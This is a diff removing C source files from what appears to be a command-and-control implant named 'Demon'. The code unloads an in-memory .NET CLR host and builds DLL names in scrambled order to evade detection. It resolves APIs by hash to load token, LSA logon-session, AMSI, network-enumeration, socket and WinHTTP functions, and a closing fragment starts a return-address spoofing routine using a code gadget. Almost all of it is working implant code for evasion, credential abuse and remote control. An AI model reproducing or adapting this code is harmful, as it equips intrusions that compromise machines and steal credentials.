Instance.Win32.LocalFree( Instance.Dotnet->RopInvk );
Instance.Dotnet->RopInvk = NULL;
}
if ( Instance.Dotnet->RopEvnt )
{
MemSet( Instance.Dotnet->RopEvnt, 0, sizeof( CONTEXT ) );
Instance.Win32.LocalFree( Instance.Dotnet->RopEvnt );
Instance.Dotnet->RopEvnt = NULL;
}
if ( Instance.Dotnet->RopExit )
{
MemSet( Instance.Dotnet->RopExit, 0, sizeof( CONTEXT ) );
Instance.Win32.LocalFree( Instance.Dotnet->RopExit );
Instance.Dotnet->RopExit = NULL;
}
PUTS( "Free Output" )
if ( Instance.Dotnet->Output.Buffer )
{
MemSet( Instance.Dotnet->Output.Buffer, 0, Instance.Dotnet->Output.Length );
Instance.Win32.LocalFree( Instance.Dotnet->Output.Buffer );
Instance.Dotnet->Output.Buffer = NULL;
}
PUTS( "Unload and free CLR" )
if ( Instance.Dotnet->MethodArgs )
{
Instance.Win32.SafeArrayDestroy( Instance.Dotnet->MethodArgs );
Instance.Dotnet->MethodArgs = NULL;
}
if ( Instance.Dotnet->MethodInfo != NULL )
{
Instance.Dotnet->MethodInfo->lpVtbl->Release( Instance.Dotnet->MethodInfo );
Instance.Dotnet->MethodInfo = NULL;
}
if ( Instance.Dotnet->Assembly != NULL )
{
Instance.Dotnet->Assembly->lpVtbl->Release( Instance.Dotnet->Assembly );
Instance.Dotnet->Assembly = NULL;
}
if ( Instance.Dotnet->AppDomain )
{
Instance.Dotnet->AppDomain->lpVtbl->Release( Instance.Dotnet->AppDomain );
Instance.Dotnet->AppDomain = NULL;
}
if ( Instance.Dotnet->AppDomainThunk != NULL )
{
Instance.Dotnet->AppDomainThunk->lpVtbl->Release( Instance.Dotnet->AppDomainThunk );
}
if ( Instance.Dotnet->ICorRuntimeHost )
{
Instance.Dotnet->ICorRuntimeHost->lpVtbl->UnloadDomain( Instance.Dotnet->ICorRuntimeHost, Instance.Dotnet->AppDomainThunk );
Instance.Dotnet->ICorRuntimeHost->lpVtbl->Stop( Instance.Dotnet->ICorRuntimeHost );
Instance.Dotnet->ICorRuntimeHost = NULL;
}
if ( Instance.Dotnet->ClrRuntimeInfo != NULL )
{
Instance.Dotnet->ClrRuntimeInfo->lpVtbl->Release( Instance.Dotnet->ClrRuntimeInfo );
Instance.Dotnet->ClrRuntimeInfo = NULL;
}
if ( Instance.Dotnet->MetaHost != NULL )
{
Instance.Dotnet->MetaHost->lpVtbl->Release( Instance.Dotnet->MetaHost );
Instance.Dotnet->MetaHost = NULL;
}
if ( Instance.Dotnet->Thread ) {
SysNtTerminateThread( Instance.Dotnet->Thread, 0 );
SysNtClose( Instance.Dotnet->Thread );
}
if ( Instance.Dotnet->Exit ) {
SysNtClose( Instance.Dotnet->Exit );
}
if ( Instance.Dotnet ) {
MemSet( Instance.Dotnet, 0, sizeof( DOTNET_ARGS ) );
NtHeapFree( Instance.Dotnet );
Instance.Dotnet = NULL;
}
}
BOOL FindVersion( PVOID Assembly, DWORD length )
{
char* assembly_c;
assembly_c = (char*)Assembly;
char v4[] = { 0x76,0x34,0x2E,0x30,0x2E,0x33,0x30,0x33,0x31,0x39 };
for (int i = 0; i < length; i++)
{
for (int j = 0; j < 10; j++)
{
if (v4[j] != assembly_c[i + j])
break;
else
{
if (j == (9))
return 1;
}
}
}
return 0;
}
DWORD ClrCreateInstance( LPCWSTR dotNetVersion, PICLRMetaHost *ppClrMetaHost, PICLRRuntimeInfo *ppClrRuntimeInfo, ICorRuntimeHost **ppICorRuntimeHost )
{
BOOL fLoadable = FALSE;
if ( RtMscoree() )
{
if ( Instance.Win32.CLRCreateInstance( &xCLSID_CLRMetaHost, &xIID_ICLRMetaHost, (LPVOID*)ppClrMetaHost ) == S_OK )
{
if ( ( *ppClrMetaHost )->lpVtbl->GetRuntime( *ppClrMetaHost, dotNetVersion, &xIID_ICLRRuntimeInfo, (LPVOID*)ppClrRuntimeInfo ) == S_OK )
{
if ( ( ( *ppClrRuntimeInfo )->lpVtbl->IsLoadable( *ppClrRuntimeInfo, &fLoadable ) == S_OK ) && fLoadable )
{
//Load the CLR into the current process and return a runtime interface pointer. -> CLR changed to ICor which is deprecated but works
if ( ( *ppClrRuntimeInfo )->lpVtbl->GetInterface( *ppClrRuntimeInfo, &xCLSID_CorRuntimeHost, &xIID_ICorRuntimeHost, (LPVOID*)ppICorRuntimeHost ) == S_OK )
{
//Start it. This is okay to call even if the CLR is already running
( *ppICorRuntimeHost )->lpVtbl->Start( *ppICorRuntimeHost );
}
else
{
PRINTF("[-] ( GetInterface ) Process refusing to get interface of %ls CLR version. Try running an assembly that requires a different CLR version.\n", dotNetVersion);
return 0;
}
}
else
{
PRINTF("[-] ( IsLoadable ) Process refusing to load %ls CLR version. Try running an assembly that requires a different CLR version.\n", dotNetVersion);
return 0;
}
}
else
{
PRINTF("[-] ( GetRuntime ) Process refusing to get runtime of %ls CLR version. Try running an assembly that requires a different CLR version.\n", dotNetVersion);
return 0;
}
}
else
{
PRINTF("[-] ( CLRCreateInstance ) Process refusing to create %ls CLR version. Try running an assembly that requires a different CLR version.\n", dotNetVersion);
return 0;
}
}
else
{
PUTS("Failed to load mscoree.dll")
return 0;
}
return 1;
}
-505
View File
@@ -1,505 +0,0 @@
#include <Demon.h>
#include <Core/Runtime.h>
#include <Core/MiniStd.h>
BOOL RtAdvapi32(
VOID
) {
CHAR ModuleName[ 13 ] = { 0 };
ModuleName[ 0 ] = HideChar('A');
ModuleName[ 2 ] = HideChar('V');
ModuleName[ 11 ] = HideChar('L');
ModuleName[ 10 ] = HideChar('L');
ModuleName[ 3 ] = HideChar('A');
ModuleName[ 8 ] = HideChar('.');
ModuleName[ 12 ] = HideChar('\0');
ModuleName[ 6 ] = HideChar('3');
ModuleName[ 7 ] = HideChar('2');
ModuleName[ 1 ] = HideChar('D');
ModuleName[ 9 ] = HideChar('D');
ModuleName[ 5 ] = HideChar('I');
ModuleName[ 4 ] = HideChar('P');
if ( ( Instance.Modules.Advapi32 = LdrModuleLoad( ModuleName ) ) ) {
MemZero( ModuleName, sizeof( ModuleName ) );
Instance.Win32.GetTokenInformation = LdrFunctionAddr( Instance.Modules.Advapi32, H_FUNC_GETTOKENINFORMATION );
Instance.Win32.CreateProcessWithTokenW = LdrFunctionAddr( Instance.Modules.Advapi32, H_FUNC_CREATEPROCESSWITHTOKENW );
Instance.Win32.CreateProcessWithLogonW = LdrFunctionAddr( Instance.Modules.Advapi32, H_FUNC_CREATEPROCESSWITHLOGONW );
Instance.Win32.RevertToSelf = LdrFunctionAddr( Instance.Modules.Advapi32, H_FUNC_REVERTTOSELF );
Instance.Win32.GetUserNameA = LdrFunctionAddr( Instance.Modules.Advapi32, H_FUNC_GETUSERNAMEA );
Instance.Win32.LogonUserW = LdrFunctionAddr( Instance.Modules.Advapi32, H_FUNC_LOGONUSERW );
Instance.Win32.LookupPrivilegeValueA = LdrFunctionAddr( Instance.Modules.Advapi32, H_FUNC_LOOKUPPRIVILEGEVALUEA );
Instance.Win32.LookupAccountSidA = LdrFunctionAddr( Instance.Modules.Advapi32, H_FUNC_LOOKUPACCOUNTSIDA );
Instance.Win32.LookupAccountSidW = LdrFunctionAddr( Instance.Modules.Advapi32, H_FUNC_LOOKUPACCOUNTSIDW );
Instance.Win32.OpenThreadToken = LdrFunctionAddr( Instance.Modules.Advapi32, H_FUNC_OPENTHREADTOKEN );
Instance.Win32.OpenProcessToken = LdrFunctionAddr( Instance.Modules.Advapi32, H_FUNC_OPENPROCESSTOKEN );
Instance.Win32.AdjustTokenPrivileges = LdrFunctionAddr( Instance.Modules.Advapi32, H_FUNC_ADJUSTTOKENPRIVILEGES );
Instance.Win32.LookupPrivilegeNameA = LdrFunctionAddr( Instance.Modules.Advapi32, H_FUNC_LOOKUPPRIVILEGENAMEA );
Instance.Win32.SystemFunction032 = LdrFunctionAddr( Instance.Modules.Advapi32, H_FUNC_SYSTEMFUNCTION032 );
Instance.Win32.FreeSid = LdrFunctionAddr( Instance.Modules.Advapi32, H_FUNC_FREESID );
Instance.Win32.SetSecurityDescriptorSacl = LdrFunctionAddr( Instance.Modules.Advapi32, H_FUNC_SETSECURITYDESCRIPTORSACL );
Instance.Win32.SetSecurityDescriptorDacl = LdrFunctionAddr( Instance.Modules.Advapi32, H_FUNC_SETSECURITYDESCRIPTORDACL );
Instance.Win32.InitializeSecurityDescriptor = LdrFunctionAddr( Instance.Modules.Advapi32, H_FUNC_INITIALIZESECURITYDESCRIPTOR );
Instance.Win32.AddMandatoryAce = LdrFunctionAddr( Instance.Modules.Advapi32, H_FUNC_ADDMANDATORYACE );
Instance.Win32.InitializeAcl = LdrFunctionAddr( Instance.Modules.Advapi32, H_FUNC_INITIALIZEACL );
Instance.Win32.AllocateAndInitializeSid = LdrFunctionAddr( Instance.Modules.Advapi32, H_FUNC_ALLOCATEANDINITIALIZESID );
Instance.Win32.CheckTokenMembership = LdrFunctionAddr( Instance.Modules.Advapi32, H_FUNC_CHECKTOKENMEMBERSHIP );
Instance.Win32.SetEntriesInAclW = LdrFunctionAddr( Instance.Modules.Advapi32, H_FUNC_SETENTRIESINACLW );
Instance.Win32.SetThreadToken = LdrFunctionAddr( Instance.Modules.Advapi32, H_FUNC_SETTHREADTOKEN );
Instance.Win32.LsaNtStatusToWinError = LdrFunctionAddr( Instance.Modules.Advapi32, H_FUNC_LSANTSTATUSTOWINERROR );
Instance.Win32.EqualSid = LdrFunctionAddr( Instance.Modules.Advapi32, H_FUNC_EQUALSID );
Instance.Win32.ConvertSidToStringSidW = LdrFunctionAddr( Instance.Modules.Advapi32, H_FUNC_CONVERTSIDTOSTRINGSIDW );
Instance.Win32.GetSidSubAuthorityCount = LdrFunctionAddr( Instance.Modules.Advapi32, H_FUNC_GETSIDSUBAUTHORITYCOUNT );
Instance.Win32.GetSidSubAuthority = LdrFunctionAddr( Instance.Modules.Advapi32, H_FUNC_GETSIDSUBAUTHORITY );
PUTS( "Loaded Advapi32 functions" )
} else {
MemZero( ModuleName, sizeof( ModuleName ) );
PUTS( "Failed to load Advapi32" )
return FALSE;
}
return TRUE;
}
// we delay loading mscoree.dll
BOOL RtMscoree(
VOID
) {
CHAR ModuleName[ 12 ] = { 0 };
if ( Instance.Win32.CLRCreateInstance )
return TRUE;
ModuleName[ 1 ] = HideChar('S');
ModuleName[ 2 ] = HideChar('C');
ModuleName[ 11 ] = HideChar(0);
ModuleName[ 0 ] = HideChar('M');
ModuleName[ 10 ] = HideChar('L');
ModuleName[ 8 ] = HideChar('D');
ModuleName[ 7 ] = HideChar('.');
ModuleName[ 9 ] = HideChar('L');
ModuleName[ 5 ] = HideChar('E');
ModuleName[ 4 ] = HideChar('R');
ModuleName[ 6 ] = HideChar('E');
ModuleName[ 3 ] = HideChar('O');
if ( ( Instance.Modules.Mscoree = LdrModuleLoad( ModuleName ) ) ) {
MemZero( ModuleName, sizeof( ModuleName ) );
Instance.Win32.CLRCreateInstance = LdrFunctionAddr( Instance.Modules.Mscoree, H_FUNC_CLRCREATEINSTANCE );
PUTS( "Loaded Mscoree functions" )
} else {
MemZero( ModuleName, sizeof( ModuleName ) );
PUTS( "Failed to load Mscoree" )
return FALSE;
}
return TRUE;
}
BOOL RtOleaut32(
VOID
) {
CHAR ModuleName[ 13 ] = { 0 };
ModuleName[ 3 ] = HideChar('A');
ModuleName[ 2 ] = HideChar('E');
ModuleName[ 0 ] = HideChar('O');
ModuleName[ 1 ] = HideChar('L');
ModuleName[ 5 ] = HideChar('T');
ModuleName[ 11 ] = HideChar('L');
ModuleName[ 7 ] = HideChar('2');
ModuleName[ 6 ] = HideChar('3');
ModuleName[ 10 ] = HideChar('L');
ModuleName[ 12 ] = HideChar(0);
ModuleName[ 4 ] = HideChar('U');
ModuleName[ 9 ] = HideChar('D');
ModuleName[ 8 ] = HideChar('.');
if ( ( Instance.Modules.Oleaut32 = LdrModuleLoad( ModuleName ) ) ) {
MemZero( ModuleName, sizeof( ModuleName ) );
Instance.Win32.SafeArrayAccessData = LdrFunctionAddr( Instance.Modules.Oleaut32, H_FUNC_SAFEARRAYACCESSDATA );
Instance.Win32.SafeArrayUnaccessData = LdrFunctionAddr( Instance.Modules.Oleaut32, H_FUNC_SAFEARRAYUNACCESSDATA );
Instance.Win32.SafeArrayCreate = LdrFunctionAddr( Instance.Modules.Oleaut32, H_FUNC_SAFEARRAYCREATE );
Instance.Win32.SafeArrayPutElement = LdrFunctionAddr( Instance.Modules.Oleaut32, H_FUNC_SAFEARRAYPUTELEMENT );
Instance.Win32.SafeArrayCreateVector = LdrFunctionAddr( Instance.Modules.Oleaut32, H_FUNC_SAFEARRAYCREATEVECTOR );
Instance.Win32.SafeArrayDestroy = LdrFunctionAddr( Instance.Modules.Oleaut32, H_FUNC_SAFEARRAYDESTROY );
Instance.Win32.SysAllocString = LdrFunctionAddr( Instance.Modules.Oleaut32, H_FUNC_SYSALLOCSTRING );
PUTS( "Loaded Oleaut32 functions" )
} else {
MemZero( ModuleName, sizeof( ModuleName ) );
PUTS( "Failed to load Oleaut32" )
return FALSE;
}
return TRUE;
}
BOOL RtUser32(
VOID
) {
CHAR ModuleName[ 11 ] = { 0 };
ModuleName[ 1 ] = HideChar('S');
ModuleName[ 0 ] = HideChar('U');
ModuleName[ 10 ] = HideChar(0);
ModuleName[ 6 ] = HideChar('.');
ModuleName[ 8 ] = HideChar('L');
ModuleName[ 7 ] = HideChar('D');
ModuleName[ 5 ] = HideChar('2');
ModuleName[ 3 ] = HideChar('R');
ModuleName[ 9 ] = HideChar('L');
ModuleName[ 2 ] = HideChar('E');
ModuleName[ 4 ] = HideChar('3');
if ( ( Instance.Modules.User32 = LdrModuleLoad( ModuleName ) ) ) {
MemZero( ModuleName, sizeof( ModuleName ) );
Instance.Win32.ShowWindow = LdrFunctionAddr( Instance.Modules.User32, H_FUNC_SHOWWINDOW );
Instance.Win32.GetSystemMetrics = LdrFunctionAddr( Instance.Modules.User32, H_FUNC_GETSYSTEMMETRICS );
Instance.Win32.GetDC = LdrFunctionAddr( Instance.Modules.User32, H_FUNC_GETDC );
Instance.Win32.ReleaseDC = LdrFunctionAddr( Instance.Modules.User32, H_FUNC_RELEASEDC );
PUTS( "Loaded User32 functions" )
} else {
MemZero( ModuleName, sizeof( ModuleName ) );
PUTS( "Failed to load User32" )
return FALSE;
}
return TRUE;
}
BOOL RtShell32(
VOID
) {
CHAR ModuleName[ 12 ] = { 0 };
ModuleName[ 0 ] = HideChar('S');
ModuleName[ 10 ] = HideChar('L');
ModuleName[ 7 ] = HideChar('.');
ModuleName[ 6 ] = HideChar('2');
ModuleName[ 8 ] = HideChar('D');
ModuleName[ 4 ] = HideChar('L');
ModuleName[ 1 ] = HideChar('H');
ModuleName[ 11 ] = HideChar(0);
ModuleName[ 9 ] = HideChar('L');
ModuleName[ 5 ] = HideChar('3');
ModuleName[ 3 ] = HideChar('L');
ModuleName[ 2 ] = HideChar('E');
if ( ( Instance.Modules.Shell32 = LdrModuleLoad( ModuleName ) ) ) {
MemZero( ModuleName, sizeof( ModuleName ) );
Instance.Win32.CommandLineToArgvW = LdrFunctionAddr( Instance.Modules.Shell32, H_FUNC_COMMANDLINETOARGVW );
PUTS( "Loaded Shell32 functions" )
} else {
MemZero( ModuleName, sizeof( ModuleName ) );
PUTS( "Failed to load Shell32" )
return FALSE;
}
return TRUE;
}
BOOL RtMsvcrt(
VOID
) {
CHAR ModuleName[ 11 ] = { 0 };
ModuleName[ 0 ] = HideChar('M');
ModuleName[ 6 ] = HideChar('.');
ModuleName[ 10 ] = HideChar(0);
ModuleName[ 9 ] = HideChar('L');
ModuleName[ 4 ] = HideChar('R');
ModuleName[ 2 ] = HideChar('V');
ModuleName[ 8 ] = HideChar('L');
ModuleName[ 7 ] = HideChar('D');
ModuleName[ 3 ] = HideChar('C');
ModuleName[ 5 ] = HideChar('T');
ModuleName[ 1 ] = HideChar('S');
if ( ( Instance.Modules.Msvcrt = LdrModuleLoad( ModuleName ) ) ) {
MemZero( ModuleName, sizeof( ModuleName ) );
Instance.Win32.vsnprintf = LdrFunctionAddr( Instance.Modules.Msvcrt, H_FUNC_VSNPRINTF );
Instance.Win32.swprintf_s = LdrFunctionAddr( Instance.Modules.Msvcrt, H_FUNC_SWPRINTF_S );
PUTS( "Loaded Msvcrt functions" )
} else {
MemZero( ModuleName, sizeof( ModuleName ) );
PUTS( "Failed to load Msvcrt" )
return FALSE;
}
return TRUE;
}
BOOL RtIphlpapi(
VOID
) {
CHAR ModuleName[ 13 ] = { 0 };
ModuleName[ 8 ] = HideChar('.');
ModuleName[ 0 ] = HideChar('I');
ModuleName[ 10 ] = HideChar('L');
ModuleName[ 2 ] = HideChar('H');
ModuleName[ 9 ] = HideChar('D');
ModuleName[ 6 ] = HideChar('P');
ModuleName[ 11 ] = HideChar('L');
ModuleName[ 1 ] = HideChar('P');
ModuleName[ 3 ] = HideChar('L');
ModuleName[ 12 ] = HideChar(0);
ModuleName[ 5 ] = HideChar('A');
ModuleName[ 4 ] = HideChar('P');
ModuleName[ 7 ] = HideChar('I');
if ( ( Instance.Modules.Iphlpapi = LdrModuleLoad( ModuleName ) ) ) {
MemZero( ModuleName, sizeof( ModuleName ) );
Instance.Win32.GetAdaptersInfo = LdrFunctionAddr( Instance.Modules.Iphlpapi, H_FUNC_GETADAPTERSINFO );
PUTS( "Loaded Iphlpapi functions" )
} else {
MemZero( ModuleName, sizeof( ModuleName ) );
PUTS( "Failed to load Iphlpapi" )
return FALSE;
}
return TRUE;
}
BOOL RtGdi32(
VOID
) {
CHAR ModuleName[ 10 ] = { 0 };
ModuleName[ 4 ] = HideChar('2');
ModuleName[ 6 ] = HideChar('D');
ModuleName[ 5 ] = HideChar('.');
ModuleName[ 8 ] = HideChar('L');
ModuleName[ 2 ] = HideChar('I');
ModuleName[ 1 ] = HideChar('D');
ModuleName[ 7 ] = HideChar('L');
ModuleName[ 9 ] = HideChar(0);
ModuleName[ 0 ] = HideChar('G');
ModuleName[ 3 ] = HideChar('3');
if ( ( Instance.Modules.Gdi32 = LdrModuleLoad( ModuleName ) ) ) {
MemZero( ModuleName, sizeof( ModuleName ) );
Instance.Win32.GetCurrentObject = LdrFunctionAddr( Instance.Modules.Gdi32, H_FUNC_GETCURRENTOBJECT );
Instance.Win32.GetObjectW = LdrFunctionAddr( Instance.Modules.Gdi32, H_FUNC_GETOBJECTW );
Instance.Win32.CreateCompatibleDC = LdrFunctionAddr( Instance.Modules.Gdi32, H_FUNC_CREATECOMPATIBLEDC );
Instance.Win32.CreateDIBSection = LdrFunctionAddr( Instance.Modules.Gdi32, H_FUNC_CREATEDIBSECTION );
Instance.Win32.SelectObject = LdrFunctionAddr( Instance.Modules.Gdi32, H_FUNC_SELECTOBJECT );
Instance.Win32.BitBlt = LdrFunctionAddr( Instance.Modules.Gdi32, H_FUNC_BITBLT );
Instance.Win32.DeleteObject = LdrFunctionAddr( Instance.Modules.Gdi32, H_FUNC_DELETEOBJECT );
Instance.Win32.DeleteDC = LdrFunctionAddr( Instance.Modules.Gdi32, H_FUNC_DELETEDC );
PUTS( "Loaded Gdi32 functions" )
} else {
MemZero( ModuleName, sizeof( ModuleName ) );
PUTS( "Failed to load Gdi32" )
return FALSE;
}
return TRUE;
}
BOOL RtNetApi32(
VOID
) {
CHAR ModuleName[ 13 ] = { 0 };
ModuleName[ 0 ] = HideChar('N');
ModuleName[ 11 ] = HideChar('L');
ModuleName[ 8 ] = HideChar('.');
ModuleName[ 9 ] = HideChar('D');
ModuleName[ 6 ] = HideChar('3');
ModuleName[ 2 ] = HideChar('T');
ModuleName[ 3 ] = HideChar('A');
ModuleName[ 10 ] = HideChar('L');
ModuleName[ 12 ] = HideChar(0);
ModuleName[ 4 ] = HideChar('P');
ModuleName[ 5 ] = HideChar('I');
ModuleName[ 1 ] = HideChar('E');
ModuleName[ 7 ] = HideChar('2');
if ( ( Instance.Modules.NetApi32 = LdrModuleLoad( ModuleName ) ) ) {
MemZero( ModuleName, sizeof( ModuleName ) );
Instance.Win32.NetLocalGroupEnum = LdrFunctionAddr( Instance.Modules.NetApi32, H_FUNC_NETLOCALGROUPENUM );
Instance.Win32.NetGroupEnum = LdrFunctionAddr( Instance.Modules.NetApi32, H_FUNC_NETGROUPENUM );
Instance.Win32.NetUserEnum = LdrFunctionAddr( Instance.Modules.NetApi32, H_FUNC_NETUSERENUM );
Instance.Win32.NetWkstaUserEnum = LdrFunctionAddr( Instance.Modules.NetApi32, H_FUNC_NETWKSTAUSERENUM );
Instance.Win32.NetSessionEnum = LdrFunctionAddr( Instance.Modules.NetApi32, H_FUNC_NETSESSIONENUM );
Instance.Win32.NetShareEnum = LdrFunctionAddr( Instance.Modules.NetApi32, H_FUNC_NETSHAREENUM );
Instance.Win32.NetApiBufferFree = LdrFunctionAddr( Instance.Modules.NetApi32, H_FUNC_NETAPIBUFFERFREE );
PUTS( "Loaded NetApi32 functions" )
} else {
MemZero( ModuleName, sizeof( ModuleName ) );
PUTS( "Failed to load NetApi32" )
return FALSE;
}
return TRUE;
}
BOOL RtWs2_32(
VOID
) {
CHAR ModuleName[ 11 ] = { 0 };
ModuleName[ 0 ] = HideChar('W');
ModuleName[ 2 ] = HideChar('2');
ModuleName[ 4 ] = HideChar('3');
ModuleName[ 6 ] = HideChar('.');
ModuleName[ 9 ] = HideChar('L');
ModuleName[ 1 ] = HideChar('S');
ModuleName[ 3 ] = HideChar('_');
ModuleName[ 5 ] = HideChar('2');
ModuleName[ 10 ] = HideChar(0);
ModuleName[ 8 ] = HideChar('L');
ModuleName[ 7 ] = HideChar('D');
if ( ( Instance.Modules.Ws2_32 = LdrModuleLoad( ModuleName ) ) ) {
MemZero( ModuleName, sizeof( ModuleName ) );
Instance.Win32.WSAStartup = LdrFunctionAddr( Instance.Modules.Ws2_32, H_FUNC_WSASTARTUP );
Instance.Win32.WSACleanup = LdrFunctionAddr( Instance.Modules.Ws2_32, H_FUNC_WSACLEANUP );
Instance.Win32.WSASocketA = LdrFunctionAddr( Instance.Modules.Ws2_32, H_FUNC_WSASOCKETA );
Instance.Win32.WSAGetLastError = LdrFunctionAddr( Instance.Modules.Ws2_32, H_FUNC_WSAGETLASTERROR );
Instance.Win32.ioctlsocket = LdrFunctionAddr( Instance.Modules.Ws2_32, H_FUNC_IOCTLSOCKET );
Instance.Win32.bind = LdrFunctionAddr( Instance.Modules.Ws2_32, H_FUNC_BIND );
Instance.Win32.listen = LdrFunctionAddr( Instance.Modules.Ws2_32, H_FUNC_LISTEN );
Instance.Win32.accept = LdrFunctionAddr( Instance.Modules.Ws2_32, H_FUNC_ACCEPT );
Instance.Win32.closesocket = LdrFunctionAddr( Instance.Modules.Ws2_32, H_FUNC_CLOSESOCKET );
Instance.Win32.recv = LdrFunctionAddr( Instance.Modules.Ws2_32, H_FUNC_RECV );
Instance.Win32.send = LdrFunctionAddr( Instance.Modules.Ws2_32, H_FUNC_SEND );
Instance.Win32.connect = LdrFunctionAddr( Instance.Modules.Ws2_32, H_FUNC_CONNECT );
Instance.Win32.getaddrinfo = LdrFunctionAddr( Instance.Modules.Ws2_32, H_FUNC_GETADDRINFO );
Instance.Win32.freeaddrinfo = LdrFunctionAddr( Instance.Modules.Ws2_32, H_FUNC_FREEADDRINFO );
PUTS( "Loaded Ws2_32 functions" )
} else {
MemZero( ModuleName, sizeof( ModuleName ) );
PUTS( "Failed to load Ws2_32" )
return FALSE;
}
return TRUE;
}
BOOL RtSspicli(
VOID
) {
CHAR ModuleName[ 12 ] = { 0 };
ModuleName[ 0 ] = HideChar('S');
ModuleName[ 11 ] = HideChar(0);
ModuleName[ 9 ] = HideChar('L');
ModuleName[ 1 ] = HideChar('S');
ModuleName[ 6 ] = HideChar('I');
ModuleName[ 7 ] = HideChar('.');
ModuleName[ 5 ] = HideChar('L');
ModuleName[ 8 ] = HideChar('D');
ModuleName[ 2 ] = HideChar('P');
ModuleName[ 10 ] = HideChar('L');
ModuleName[ 4 ] = HideChar('C');
ModuleName[ 3 ] = HideChar('I');
if ( ( Instance.Modules.Sspicli = LdrModuleLoad( ModuleName ) ) ) {
MemZero( ModuleName, sizeof( ModuleName ) );
Instance.Win32.LsaRegisterLogonProcess = LdrFunctionAddr( Instance.Modules.Sspicli, H_FUNC_LSAREGISTERLOGONPROCESS );
Instance.Win32.LsaLookupAuthenticationPackage = LdrFunctionAddr( Instance.Modules.Sspicli, H_FUNC_LSALOOKUPAUTHENTICATIONPACKAGE );
Instance.Win32.LsaDeregisterLogonProcess = LdrFunctionAddr( Instance.Modules.Sspicli, H_FUNC_LSADEREGISTERLOGONPROCESS );
Instance.Win32.LsaConnectUntrusted = LdrFunctionAddr( Instance.Modules.Sspicli, H_FUNC_LSACONNECTUNTRUSTED );
Instance.Win32.LsaFreeReturnBuffer = LdrFunctionAddr( Instance.Modules.Sspicli, H_FUNC_LSAFREERETURNBUFFER );
Instance.Win32.LsaCallAuthenticationPackage = LdrFunctionAddr( Instance.Modules.Sspicli, H_FUNC_LSACALLAUTHENTICATIONPACKAGE );
Instance.Win32.LsaGetLogonSessionData = LdrFunctionAddr( Instance.Modules.Sspicli, H_FUNC_LSAGETLOGONSESSIONDATA );
Instance.Win32.LsaEnumerateLogonSessions = LdrFunctionAddr( Instance.Modules.Sspicli, H_FUNC_LSAENUMERATELOGONSESSIONS );
PUTS( "Loaded Sspicli functions" )
} else {
MemZero( ModuleName, sizeof( ModuleName ) );
PUTS( "Failed to load Sspicli" )
return FALSE;
}
return TRUE;
}
BOOL RtAmsi(
VOID
) {
CHAR ModuleName[ 9 ] = { 0 };
ModuleName[ 3 ] = HideChar('I');
ModuleName[ 5 ] = HideChar('D');
ModuleName[ 7 ] = HideChar('L');
ModuleName[ 8 ] = HideChar(0);
ModuleName[ 6 ] = HideChar('L');
ModuleName[ 4 ] = HideChar('.');
ModuleName[ 0 ] = HideChar('A');
ModuleName[ 1 ] = HideChar('M');
ModuleName[ 2 ] = HideChar('S');
if ( ( Instance.Modules.Amsi = LdrModuleLoad( ModuleName ) ) ) {
MemZero( ModuleName, sizeof( ModuleName ) );
Instance.Win32.AmsiScanBuffer = LdrFunctionAddr( Instance.Modules.Amsi, H_FUNC_AMSISCANBUFFER );
PUTS( "Loaded Amsi functions" )
} else {
MemZero( ModuleName, sizeof( ModuleName ) );
PUTS( "Failed to load Amsi" )
return FALSE;
}
return TRUE;
}
#ifdef TRANSPORT_HTTP
BOOL RtWinHttp(
VOID
) {
CHAR ModuleName[ 12 ] = { 0 };
ModuleName[ 0 ] = HideChar('W');
ModuleName[ 2 ] = HideChar('N');
ModuleName[ 7 ] = HideChar('.');
ModuleName[ 11 ] = HideChar(0);
ModuleName[ 10 ] = HideChar('L');
ModuleName[ 4 ] = HideChar('T');
ModuleName[ 8 ] = HideChar('D');
ModuleName[ 1 ] = HideChar('I');
ModuleName[ 9 ] = HideChar('L');
ModuleName[ 6 ] = HideChar('P');
ModuleName[ 3 ] = HideChar('H');
ModuleName[ 5 ] = HideChar('T');
if ( ( Instance.Modules.WinHttp = LdrModuleLoad( ModuleName ) ) ) {
MemZero( ModuleName, sizeof( ModuleName ) );
Instance.Win32.WinHttpOpen = LdrFunctionAddr( Instance.Modules.WinHttp, H_FUNC_WINHTTPOPEN );
Instance.Win32.WinHttpConnect = LdrFunctionAddr( Instance.Modules.WinHttp, H_FUNC_WINHTTPCONNECT );
Instance.Win32.WinHttpOpenRequest = LdrFunctionAddr( Instance.Modules.WinHttp, H_FUNC_WINHTTPOPENREQUEST );
Instance.Win32.WinHttpSetOption = LdrFunctionAddr( Instance.Modules.WinHttp, H_FUNC_WINHTTPSETOPTION );
Instance.Win32.WinHttpCloseHandle = LdrFunctionAddr( Instance.Modules.WinHttp, H_FUNC_WINHTTPCLOSEHANDLE );
Instance.Win32.WinHttpSendRequest = LdrFunctionAddr( Instance.Modules.WinHttp, H_FUNC_WINHTTPSENDREQUEST );
Instance.Win32.WinHttpAddRequestHeaders = LdrFunctionAddr( Instance.Modules.WinHttp, H_FUNC_WINHTTPADDREQUESTHEADERS );
Instance.Win32.WinHttpReceiveResponse = LdrFunctionAddr( Instance.Modules.WinHttp, H_FUNC_WINHTTPRECEIVERESPONSE );
Instance.Win32.WinHttpReadData = LdrFunctionAddr( Instance.Modules.WinHttp, H_FUNC_WINHTTPREADDATA );
Instance.Win32.WinHttpQueryHeaders = LdrFunctionAddr( Instance.Modules.WinHttp, H_FUNC_WINHTTPQUERYHEADERS );
Instance.Win32.WinHttpGetIEProxyConfigForCurrentUser = LdrFunctionAddr( Instance.Modules.WinHttp, H_FUNC_WINHTTPGETIEPROXYCONFIGFORCURRENTUSER );
Instance.Win32.WinHttpGetProxyForUrl = LdrFunctionAddr( Instance.Modules.WinHttp, H_FUNC_WINHTTPGETPROXYFORURL );
PUTS( "Loaded WinHttp functions" )
} else {
MemZero( ModuleName, sizeof( ModuleName ) );
PUTS( "Failed to load WinHttp" )
return FALSE;
}
return TRUE;
}
#endif
-48
View File
@@ -1,48 +0,0 @@
#include <Core/Spoof.h>
#include <Core/MiniStd.h>
#if _WIN64
PVOID FindGadget(
IN LPBYTE Module,
IN ULONG Size
) {
for ( int x = 0; x < Size; x++ )
{
if ( MemCompare( Module + x, "\xFF\x23", 2 ) == 0 )
{
return ( PVOID )( Module + x );
};
};
return NULL;
}
PVOID SpoofRetAddr(
IN PVOID Module,
IN ULONG Size,
IN HANDLE Function,
IN OUT PVOID a,
IN OUT PVOID b,
IN OUT PVOID c,
IN OUT PVOID d,
IN OUT PVOID e,
IN OUT PVOID f,
IN OUT PVOID g,
IN OUT PVOID h
) {
PVOID Trampoline = NULL;
if ( Function != NULL )
{
Trampoline = FindGadget( Module, Size );
